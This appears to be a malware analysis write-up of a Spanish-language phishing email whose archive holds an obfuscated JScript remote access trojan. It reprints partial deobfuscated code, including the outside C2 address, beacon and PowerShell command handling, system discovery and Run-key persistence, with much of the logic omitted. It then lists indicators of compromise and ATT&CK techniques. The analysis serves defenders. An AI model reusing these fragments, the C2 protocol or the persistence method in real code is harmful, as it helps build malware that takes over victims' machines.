Nueva orden de compra 4504238494
On April 14 2026, 17:16 UTC, I received an email with the following details:
| From | Subject | Sender address | Sender IP |
|---|---|---|---|
| “Tahany ElBarmawy” <dao@ambserbie-alger.com> | Nueva orden de compra 4504238494 | dao@ambserbie-alger.com | 85.137.51.11 |
The subject is in Spanish and translates to “New purchase order 4504238494”.
The sender domain has not configured DKIM and DMARC and the SPF check failed, which indicates that the email was likely spoofed. The website currently redirects to “ambserbie-alger-com.hostdz.website” and returns an internal server error. Based on references from other sites, as well as previous snapshots from the Internet Archive, it belongs to the Serbian Embassy in Algeria.
The email contains the following attachment:
| Name | Type | Magic | SHA256 |
|---|---|---|---|
| GR5000171604.7z | 7ZIP | 7-zip archive data, version 0.4 | 745158871066b7e3aa4ed48234c5f24b |
Analysis
Extracting the attached archive yields the file “GR5000171604.js”, which is obfuscated via “Obfuscator.io” and I deobfuscated using webcrack. This script is not a loader for a multi-stage malware but instead contains the entire functionality. This analysis organises the functional components of the script into five sections based on their role. Since the script is self-contained, many parts of the implementation will be omitted to prevent reproduction of the malware.
Environment Setup
The script defines the numeric enums v and v94 and the string enum v19.
var v;
(function (p11) {
p11[p11.Running = 0] = "Running";
p11[p11.Finished = 1] = "Finished";
p11[p11.ErrorOccured = 2] = "ErrorOccured";
})(v ||= {});
var v19;
(function (p56) {
p56.GetFile = "ex";
p56.GetLoader = "sb";
p56.GetPayload = "vc";
p56.GetProperties = "df";
p56.GetUpdate = "kp";
p56.GetShell = "tw";
})(v19 ||= {});
var v94;
(function (p78) {
p78[p78.NEW = 0] = "NEW";
p78[p78.RUNNABLE = 1] = "RUNNABLE";
p78[p78.BLOCKED = 2] = "BLOCKED";
p78[p78.WAITING = 3] = "WAITING";
p78[p78.TIMED_WAITING = 4] = "TIMED_WAITING";
p78[p78.TERMINATED = 5] = "TERMINATED";
})(v94 ||= {});
The vF class stores a callback function to be executed later via its Run method.
var vF = function () {
function f(p) {
this.action = p;
}
f.prototype.Run = function () {
this.action.apply(this.action);
};
return f;
}();
The vF2 class includes functions for managing callbacks stored in the ExitCallbacks array.
AddExitCallbackadds a callback to an array ensuring uniqueness.RemoveExitCallbackremoves a callback from the array.DoExitCallbackexecutes all callbacks while ignoring errors.Initializepolyfills theArray.filter,Array.map,String.trimmethods, which are not available in JScript, and defines the functionsString.IsNullOrWhiteSpaceandString.Reverse.Runis responsible for calling theMainmethod of a given object using the script’s CLI arguments and executes the exit callbacks even if the method throws an error.
var vF2 = function () {
function f2() {}
f2.AddExitCallback = function (p2) { /* omitted */ };
f2.RemoveExitCallback = function (p3) { /* omitted */ };
f2.DoExitCallback = function () { /* omitted */ };
f2.Initialize = function () {
Array.prototype.filter = function (p4, p5) { /* omitted */ };
Array.prototype.map = function (p6, p7) { /* omitted */ };
String.IsNullOrWhiteSpace = function (p8) {
return p8 == null || /\S/.test(p8) == 0;
};
String.Reverse = function (p9) {
return p9.split("").reverse().join("");
};
String.prototype.trim = function () { /* omitted */ };
};
f2.Run = function (p10) {
for (var v16 = WSH.Arguments, v17 = [], v18 = 0; v18 < v16.length; v18++) {
v17[v18] = v16.Item(v18);
}
try {
p10.Main(v17);
} finally {
this.DoExitCallback();
}
};
f2.ExitCallbacks = [];
return f2;
}();
The vF6 class implements JSON.stringify which is also not available in JScript.
It uses the f6 class to represent serialised objects.
function f6() {
this.Ignore = false;
this.String = "";
}
var vF6 = function () {
function f7() {}
f7._formatString = function (p52 = "") { /* omitted */ };
f7._stringify = function (p54) { /* omitted */ };
f7.stringify = function (p55) { /* omitted */ };
f7._escapable = /* omitted */;
f7._meta = { /* omitted */ };
return f7;
}();
Abstraction Layer
Operating System
The vF3 / vVF3 class implements abstractions for OS operations.
It defines the Object property, which is an instance of the
Wscript.Shell COM object, and the wscriptShell property,
which is a reference to the global Windows Script Host object.
CreateObjectwrapsActiveXObjectto create a COM object.Execwraps theExecmethod ofWscript.Shellto execute a command.Exitruns the registered exit callbacks and quits the script.GetArgumentswrapsWSH.Argumentsto return the CLI arguments of the script.GetCurrentDirectorywraps theCurrentDirectoryproperty ofWscript.Schellto return the current working directory.GetCurrentScriptFilewrapsWSH.ScriptFullNameto return the path of the executing script.GetEnviromentVariablewraps theExpandEnvironmentStringsmethod ofWscript.Shellto return the value of an environment variable.GetScriptHostFilewrapsWSH.FullNameto return the path of the script host executable.OpenFilelazy-loads an instance of theShell.ApplicationCOM object and calls itsShellExecutemethod to open a file.QueryWMIServicelazy-loads a WMI object using theGetObjectfunction1. Then, it executes a WMI query and returns the results as an array.Runwraps theRunmethod ofWscript.Shellto execute a command. UnlikeExec, this method does not return the output.RunScriptexecutes another script via the script host, sleeps briefly, and returns a boolean indicating whether the execution was successful. Thep22parameter is the path of the script and any extra parameters passed to the function are provided as CLI arguments to the script.SleepwrapsWSH.Sleepto sleep for a given number of milliseconds.
var vF3 = function () {
function f3() {}
f3.CreateObject = function (p12) { /* omitted */ };
f3.Exec = function (p13) { /* omitted */ };
f3.Exit = function (p14) { /* omitted */ };
f3.GetArguments = function () { /* omitted */ };
f3.GetCurrentDirectory = function () { /* omitted */ };
f3.GetCurrentScriptFile = function () { /* omitted */ };
f3.GetEnviromentVariable = function (p15) { /* omitted */ };
f3.GetScriptHostFile = function () { /* omitted */ };
f3.OpenFile = function (p16) {
if (f3.application == null) {
f3.application = f3.CreateObject("Shell.Application");
}
f3.application.ShellExecute(p16.GetAbsolutePath(), "", "", "open", 1);
};
f3.QueryWMIService = function (p17, p18) {
if (f3.wmiObject == null) {
f3.wmiObject = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
}
for (var v20 = f3.wmiObject.ExecQuery("SELECT " + p18 + " FROM " + p17), vArray = Array(v20.Count), v21 = 0; v21 < v20.Count; v21++) {
vArray[v21] = v20.ItemIndex(v21)[p18];
}
v20 = null;
return vArray;
};
f3.Run = function (p19, p20, p21) { /* omitted */ };
f3.RunScript = function (p22) {
/* omitted */
var v28 = f3.Exec(v25);
f3.Sleep(400);
return v28.Status <= v.Finished;
};
f3.Sleep = function (p23) { /* omitted */ };
f3.Object = f3.CreateObject("Wscript.Shell");
f3.wscriptShell = WSH;
return f3;
}();
var vVF3 = vF3;
File System
The vF5 class implements abstractions for file system operations.
The path separator is set to the Windows path separator. The constructor
combines a parent path, which defaults to the current working directory,
and an optional child path and normalises the combined path.
GetFileSystemObjectlazy-loads an instance of theScripting.FileSystemObjectCOM object.Copycopies a file or folder from one path to another.CopyTocopies the current file or folder to the target path.CreateParentPathcreates the parent folder of the current path if necessary.CreateTemporaryFilecreates a file with a pseudorandom name in the%TMP%folder.Deletedeletes the current path, forcing folder deletion if the parameter istrue.Existschecks whether the current path exists.EqualTochecks whether the current path is equal to another, ignoring case.GetAbsolutePathresolves the absolute path of the current file or folder.GetExtensionreturns the extension of the current path, if any.GetNamereturns the file (or folder) name of the current path.GetParentreturns the parent folder path as a string.GetParentFilereturns the parent folder path as an object.GetPathreturns the current path as a string.GetSizereturns the size in bytes of the current file or folder.MakeDirectries[sic] recursively creates the folder if it doesn’t exist.
var vF5 = function () {
function f5(p42, p43) { /* omitted */ }
f5.GetFileSystemObject = function () {
if (f5.fso == null) {
f5.fso = vVF3.CreateObject("Scripting.FileSystemObject");
}
return f5.fso;
};
f5.Copy = function (p44, p45, p46 = true) { /* omitted */;
f5.prototype.CopyTo = function (p47, p48 = true) { /* omitted */ };
f5.prototype.CreateParentPath = function () { /* omitted */ };
f5.CreateTemporaryFile = function (p49) { /* omitted */ };
f5.prototype.Delete = function (p50 = false) { /* omitted */ };
f5.prototype.Exists = function () { /* omitted */ };
f5.prototype.EqualTo = function (p51) { /* omitted */ };
f5.prototype.GetAbsolutePath = function () { /* omitted */ };
f5.prototype.GetExtension = function () { /* omitted */ };
f5.prototype.GetName = function () { /* omitted */ };
f5.prototype.GetParent = function () { /* omitted */ };
f5.prototype.GetParentFile = function () { /* omitted */ };
f5.prototype.GetPath = function () { /* omitted */ };
f5.prototype.GetSize = function () { /* omitted */ };
f5.prototype.MakeDirectries = function () { /* omitted */ };
f5.separator = "\\";
return f5;
}();
Core Utilities
The vF4 class provides various utilities for encoding, WMI queries, and PowerShell commands.
-
GetProcessListretrieve a list of unique process names through WMI. -
GetComputerInforetrieves computer information through the environment and WMI:- User domain
- Username
- System serial number
- OS caption
p24istrue, it also retrieve the following extra information:- Total memory
- Computer model
- CPU name
- GPU name
- OS architecture
-
DownloadFiledownloads a file from a URL to a local path using PowerShell. -
RunPowershellexecutes a PowerShell command after encoding it to base64. -
GetRandonNumber[sic] generates a random number, optionally between two values. -
GetRandomStringgenerates a random alphanumeric string of the specified length. -
HexToAsciiconverts a hexadecimal string to its ASCII representation. -
AsciiToHexconverts an ASCII string to its hexadecimal representation. -
BytesToHexconverts a byte array to a hexadecimal string. -
HexToBytesconverts a hexadecimal string to a byte array. -
StringToUTF16Bytesconverts a string to a UTF-16 byte array, handling escape sequences. -
BytesToBase64encodes a byte array into a base64 string. -
SerializeFormconverts an object to a URL-encoded query string. -
XorEncryptDecryptperforms XOR encryption/decryption between a string and a byte array.
var vF4 = function () {
function f4() {}
f4.GetProcessList = function () {
for (var v29 = vVF3.QueryWMIService("Win32_Process", "Name"), v30 = [], v31 = 0; v31 < v29.length; v31++) {
var v32 = true;
var v33 = v29[v31];
if (!String.IsNullOrWhiteSpace(v33)) {
for (var v34 = 0; v34 < v30.length; v34++) {
if (v33 === v30[v34]) {
v32 = false;
break;
}
}
if (v32) {
v30.push(v33);
}
}
}
return v30;
};
f4.GetComputerInfo = function (p24 = false) {
var v35 = [];
v35.push(vVF3.GetEnviromentVariable("USERDOMAIN"), vVF3.GetEnviromentVariable("USERNAME"), vVF3.QueryWMIService("Win32_SystemEnclosure", "SerialNumber")[0], vVF3.QueryWMIService("Win32_OperatingSystem", "Caption")[0].replace("Microsoft ", ""));
if (p24) {
v35.push(vVF3.QueryWMIService("Win32_ComputerSystem", "TotalPhysicalMemory")[0], vVF3.QueryWMIService("Win32_ComputerSystem", "Model")[0], vVF3.QueryWMIService("Win32_Processor", "Name")[0], vVF3.QueryWMIService("Win32_VideoController", "Name")[0], vVF3.QueryWMIService("Win32_OperatingSystem", "OSArchitecture")[0]);
}
return v35;
};
f4.DownloadFile = function (p25, p26) { /* omitted */ };
f4.RunPowerShell = function (p27, p28 = true) { /* omitted */ };
f4.GetRandonNumber = function (p29, p30) { /* omitted */ };
f4.GetRandomString = function (p31) { /* omitted */ };
f4.HexToAscii = function (p32) { /* omitted */ };
f4.AsciiToHex = function (p33) { /* omitted */ };
f4.BytesToHex = function (p34) { /* omitted */ };
f4.HexToBytes = function (p35) { /* omitted */ };
f4.StringToUTF16Bytes = function (p36, p37 = true) { /* omitted */ };
f4.BytesToBase64 = function (p38) { /* omitted */ };
f4.SerializeForm = function (p39) { /* omitted */ };
f4.XorEncryptDecrypt = function (p40, p41) { /* omitted */ };
f4.BASE64_CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
return f4;
}();
Execution Engine
Anti-analysis Logic
The vF9 class is a classic anti-sandbox evasion component. It performs
junk operations with repeated calculations and delays during startup to
slow down or confuse automated analysis tools, then cleans up after itself.
var vF9 = function () {
function f10() { /* omitted */ }
f10.prototype.Open = function (p75) { /* omitted */ };
f10.prototype.Close = function () { /* omitted */ };
f10.prototype.Dispose = function () { /* omitted */ };
return f10;
}();
Fake Multi-threading
The vF10 class provides a fake thread wrapper. It mimics
multi-threading behaviour by wrapping a target object and running its
main logic synchronously while tracking a simple thread state and ID.
var vF10 = function () {
function f12(p79) { /* omitted */ }
f12.nextThreadID = function () { /* omitted */ };
f12.prototype.Run = function () { /* omitted */ };
f12.prototype.Start = function () { /* omitted */ };
f12.prototype.IsAlive = function () { /* omitted */ };
f12.prototype.GetId = function () { /* omitted */ };
f12.threadSeqNumber = 0;
return f12;
}();
Command Handling
The vF7 class is responsible for handling commands received from the C2 server.
The Handle function reads the X-A response header and dispatches to the appropriate handler.
| Value | Action |
|---|---|
| -7 | Update client |
| -6 | Uninstall client |
| -5 | Close client |
| -4 | Restart client |
| -3 | Disconnect |
| -2 | Reconnect |
| -1 | Sleep |
| 0 | Wake |
| 1 | Download & execute file |
| 2 | Start beacon shell |
| 3 | Run PowerShell command |
| 4 | Send system properties |
All payloads executed in PowerShell are encrypted using AES-CBC with a 32 byte key that is
sent by the server, often alongside a token which is passed to the respective parameter of
the command, and a hardcoded IV 76E6F6C63756479726E6565647879637 which is reversed.
ExecuteShelllaunches an encrypted HTTP beacon shell in PowerShell. It continuously polls the C2 server using thetwparameter (GetShell) with a server-sent 12 byte token, decrypts received commands, executes them, and sends the results back through the headerstwfor the encrypted output andxfor the status. It stops when multiple consecutive attempts fail or the server returns status 404.ExecuteFiledownloads an encrypted payload from the C2 server using theexparameter (GetFile) with a server-sent 12 byte token, decrypts it, writes it to a temporary path, and executes it.LoadProcessretrieves an encrypted PowerShell payload from the C2 server using thesbparameter (GetLoader) with a server-sent 12 byte token, and anfpparameter set to “1”. It decrypts the payload and pipes it into a hidden PowerShell process via standard input, bypassing command-line logging.GetPropertiesretrieves detailed computer info and the running processes, serialises the results to JSON and encrypts them with XOR. Then, it sends the encrypted results to the C2 server using thedfparameter (GetProperties) with a randomly generated 8 byte token, abparameter for the computer info, and acparameter for the process list. If the requests was successful, it calls the client object’sTryInstallStartupmethod to achieve persistence.UpdateClientrequests the latest version of the malware from the C2 server using thekpparameter (GetUpdate) with a server-sent 16 byte token, downloads it, and replaces the old script with it.
var vF7 = function () {
function f8() {}
f8.Handle = function (p57, p58) {
switch (p58.getResponseHeader("X-A")) {
/* omitted */
}
};
f8.ExecuteShell = function (p59, p60) { /* omitted */ };
f8.ExecuteFile = function (p61, p62) { /* omitted */ };
f8.LoadProcess = function (p63, p64) { /* omitted */ };
f8.GetProperties = function (p65, p66) { /* omitted */ };
f8.UpdateClient = function (p67, p68) { /* omitted */ };
return f8;
}();
C2 Communication
The vF8 class handles the communication with the C2 server.
Its constructor stores a list of servers and a client instance,
and initialises multiple connection state variables.
Runis the main loop which runs until the connection is closed, callingConnectto connect or reconnect to the server, orPingif already connected.Connectsends a POST request to the server with the parameterahardcoded to the value “iz” and the parameterbcontaining a pipe-separated list of computer info. It sets the session identifier from theX-Sresponse header. It handles the received command if the request was successful, otherwise it rotates the configured C2 server in order to try again.Pingsends a POST request to the server with the parameteriaset to the session identifier in order to determine whether the connection is still active and receive a new command.Disconnectmarks the C2 server as disconnected and rotates to another.AvailableHostfilters the C2 server list excluding disconnected hosts.RotateHostcycles through the C2 server list.Waitsleeps for the specified number of seconds.MakeUrlconstructs a C2 URL with a specific action based on its parameters.Close,Idle,Sleep,Wake, andIncreaseWaitmodify the connection state.
var vF8 = function () {
function f9(p69, p70) { /* omitted */ }
f9.prototype.Run = function () { /* omitted */ };
f9.prototype.Connect = function () {
if (this.REQUEST_DATA == null) {
this.REQUEST_DATA = vF4.SerializeForm({
a: "iz",
b: vF4.GetComputerInfo().join("|")
});
}
try {
var v129 = vVF3.CreateObject("MSXML2.XMLHTTP");
v129.open("POST", this.HOST, false);
v129.SetRequestHeader("content-type", "application/x-www-form-urlencoded");
v129.send(this.REQUEST_DATA);
this.IDENTIFIER = v129.getResponseHeader("X-S") ?? "";
/* omitted */
} catch (ffFffFfFffFFffff) {
/* omitted */
}
};
f9.prototype.Ping = function () {
try {
var v130 = vVF3.CreateObject("MSXML2.XMLHTTP");
v130.open("POST", this.HOST + "?ia=" + this.IDENTIFIER, false);
v130.send();
/* omitted */
} catch (fFFFFFfFffFFffff) {
/* omitted */
}
};
f9.prototype.Close = function () { /* omitted */ };
f9.prototype.Disconnect = function () { /* omitted */ };
f9.prototype.Reconnect = function () { /* omitted */ };
f9.prototype.Idle = function () { /* omitted */ };
f9.prototype.Sleep = function () { /* omitted */ };
f9.prototype.Wake = function () { /* omitted */ };
f9.prototype.AvailableHost = function () { /* omitted */ };
f9.prototype.RotateHost = function () { /* omitted */ };
f9.prototype.IncreaseWait = function () { /* omitted */ };
f9.prototype.Wait = function (p72) { /* omitted */ };
f9.prototype.MakeUrl = function (p73, p74) {
var v134 = "";
v134 += this.HOST;
v134 += "?ia=";
v134 += this.IDENTIFIER;
v134 += "&";
v134 += p74;
return (v134 += "=") + p73;
};
return f9;
}();
Entry Point
The vF11 class is the main entry point of the malware.
Methods:
Mainhandles the CLI arguments of the script.InstantConnect: callsInstantConnectionDelayedConnect: callsDelayedConnectionUpdateClient: sleeps if theIdentifieris specified and callsTryUpdateClient- Otherwise, calls
TryInstallClient
DelayedConnectionperforms the post-execution action and the anti-analysis operations before connecting to the C2 server.InstantConnectionsimply connects to the C2 server.StartConnectionsdefines an array of C2 servers (with only one element in this case), uses thef11class to store their properties, and starts the network loop.GetInstallFilereturns the persistent installation path of the malware. In this case, the path is%APPDATA%\RLnayPzlrL\vTzbMzqSByiilfQejkxuoQiJHAFhjt.js.GetInstallKeyreturns the Run registry key used for persistence. In this case, the key isHKCU\Software\Microsoft\Windows\CurrentVersion\Run\RLnayPzlrL.Restartrelaunches the script withInstantConnect, through the installation path if available, and terminates the current instance.Closeterminates the script.Updaterelaunches the script withUpdateClientand uninstalls the current version.TryInstallStartupwrites a Run registry key for persistence which launches the installed script withInstantConnect.TryInstallClientcopies the current script to the installation path, runs the post-installation action, optionally deletes the original file, and initiates a delayed connection.TryUpdateClientreplaces the installed script with the current one, optionally deletes the original file, and initiates an instant connection.Uninstalldeletes the Run registry key, the installed script, and the current file, and exits.
Functions:
OnExecutionperforms the post-execution action.OnInstallationperforms the post-installation action.TryExecuteShellexecutes a shell command withvVF3.Exec.TryOpenURLopens a URL withvVF3.Run.
Properties:
Installed: Tracks whether the malware has been installed persistently.Identifier: Hardcoded client UUID used during registration.UpdateClient: CLI argument which triggers a self-update.DelayedConnect: CLI argument for connecting with a delay (used post-install).InstantConnect: CLI argument for connecting with no delay.PathName: The persistence base path environment variable.FolderName: The subfolder name created under the base path.FileName: The filename of the installed script.DecryptionKey: Unused.ConnectionMode: Unused.ConnectionDelay: The number of seconds to wait before the first connection attempt.InstallationDelay: The number of seconds to wait before performing the installation.InstallClient: Boolean flag controlling whether to install the client to the persistence path.MeltOriginalFile: Boolean flag controlling whether the original file will be deleted.OnExecutionType: Flag which defines a post-execution action. 1 opens a URL, 2 runs a shell command, any other value does nothing.OnExecutionValue: The value of the post-execution action. In this case, the URL of a blank PDF which is used as a decoy.OnInstallationType: Flag which defines a post-installation action. 1 opens a URL, 2 runs a shell command, any other value does nothing.OnInstallationValue: The value of the post-installation action. Empty in this case.
function f11(p76, p77) {
this.disconnected = false;
this.address = p76;
this.index = p77;
}
var vF11 = function () {
function f13() {}
f13.prototype.Main = function (p80) { /* omitted */ };
f13.prototype.DelayedConnection = function () { /* omitted */ };
f13.prototype.InstantConnection = function () { /* omitted */ };
f13.prototype.StartConnections = function () {
var v137 = ["http://91.92.243.79:4454/gATIjh"].map(function (p81, p82) {
return new f11(p81, p82);
});
new vF10(new vF8(v137, this)).Start();
};
f13.prototype.GetInstallFile = function () { /* omitted */ };
f13.prototype.GetInstallKey = function () {
return vF5.GetFileSystemObject().BuildPath("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", f13.FolderName);
};
f13.prototype.Restart = function () { /* omitted */ };
f13.prototype.Close = function () { /* omitted */ };
f13.prototype.Update = function (p83) { /* omitted */ };
f13.prototype.TryInstallStartup = function () { /* omitted */ };
f13.prototype.TryInstallClient = function () { /* omitted */ };
f13.prototype.TryUpdateClient = function () { /* omitted */ };
f13.prototype.Uninstall = function () { /* omitted */ };
f13.OnExecution = function () { /* omitted */ };
f13.OnInstallation = function () { /* omitted */ };
f13.TryExecuteShell = function (p84) { /* omitted */ };
f13.TryOpenURL = function (p85) { /* omitted */ };
f13.Installed = false;
f13.Identifier = "7dea2ef3-705e-4249-ad9e-00d2c52629d6";
f13.UpdateClient = "--update";
f13.DelayedConnect = "MYEVWDOB";
f13.InstantConnect = "NmuLUxSdK";
f13.PathName = "APPDATA";
f13.FolderName = "RLnayPzlrL";
f13.FileName = "vTzbMzqSByiilfQejkxuoQiJHAFhjt";
f13.DecryptionKey = "";
f13.ConnectionMode = "0";
f13.ConnectionDelay = "0";
f13.InstallationDelay = "0";
f13.InstallClient = "1";
f13.MeltOriginalFile = "0";
f13.OnExecutionType = "1";
f13.OnExecutionValue = "https://mag.wcoomd.org/uploads/2018/05/blank.pdf";
f13.OnInstallationType = "-1";
f13.OnInstallationValue = "";
return f13;
}();
Finally, the script sets up the environment and runs the entry point.
vF2.Initialize();
vF2.Run(new vF11());
Summary
The C2 protocol used in this malware is structured and operates over plain HTTP.
The session begins with a POST request with the parameters a set to “iz” and
b containing the computer info, to which the server responds with an X-S
header containing the assigned session ID. Subsequent keep-alive pings are
POST requests with the ia parameter set to the session ID.
The server issues commands via the X-A header as signed integer codes, with non-positive
values used for client and connection management and positive values used for command execution.
When a command is issued, the response body contains a token (except for GetProperties),
an AES key, and optional trailing data, which the client uses to construct a secondary request
with a specific parameter for each command. All payloads are AES-CBC encrypted with the provided key
and a hardcoded IV. The beacon shell output is also encrypted and passed in the tw request header.
It’s worth noting that the upper camel case names of the identifiers used in this script,
along with the thread abstraction and the Dispose method, are strong indicators that the
malware was ported from C#. Furthermore, the bidirectional numeric enums are a TypeScript trait
which indicates that the malware was ported from C# to TypeScript and then compiled to JavaScript.
Indicators of Compromise
| Type | Value | Links | Comment |
|---|---|---|---|
| dao@ambserbie-alger.com | N/A | Sender address | |
| Domain | ambserbie-alger.com | MXToolBox VirusTotal | Sender domain |
| IP | 85.137.51.11 | AbuseIPDB | Sender IP |
| IP | 91.92.243.79 | AbuseIPDB VirusTotal | C2 IP |
| Hash | 745158871066b7e3aa4ed48234c5f24b | VirusTotal ANY.RUN | GR5000171604.7z |
| Hash | 738f09e31a901c3506f4ae193476ff07 | VirusTotal Hybrid Analysis | GR5000171604.js |
| URL | https://mag.wcoomd.org/uploads/2018/05/blank.pdf | VirusTotal | Decoy |
MITRE ATT&CK® Techniques
| Tactic | Technique |
|---|---|
| Initial Access | T1566.001 - Phishing: Spearphishing Attachment |
| Execution | T1204.002 - User Execution: Malicious File |
| Execution | T1059.007 - Command and Scripting Interpreter: JavaScript |
| Execution | T1059.001 - Command and Scripting Interpreter: PowerShell |
| Persistence | T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
| Defense Evasion | T1027 - Obfuscated Files or Information |
| Defense Evasion | T1070.010 - Indicator Removal: Relocate Malware |
| Discovery | T1082 - System Information Discovery |
| Discovery | T1057 - Process Discovery |
| Command and Control | T1071/001 - Application Layer Protocol: Web Protocols |
| Exfiltration | T1041 - Exfiltration Over C2 Channel |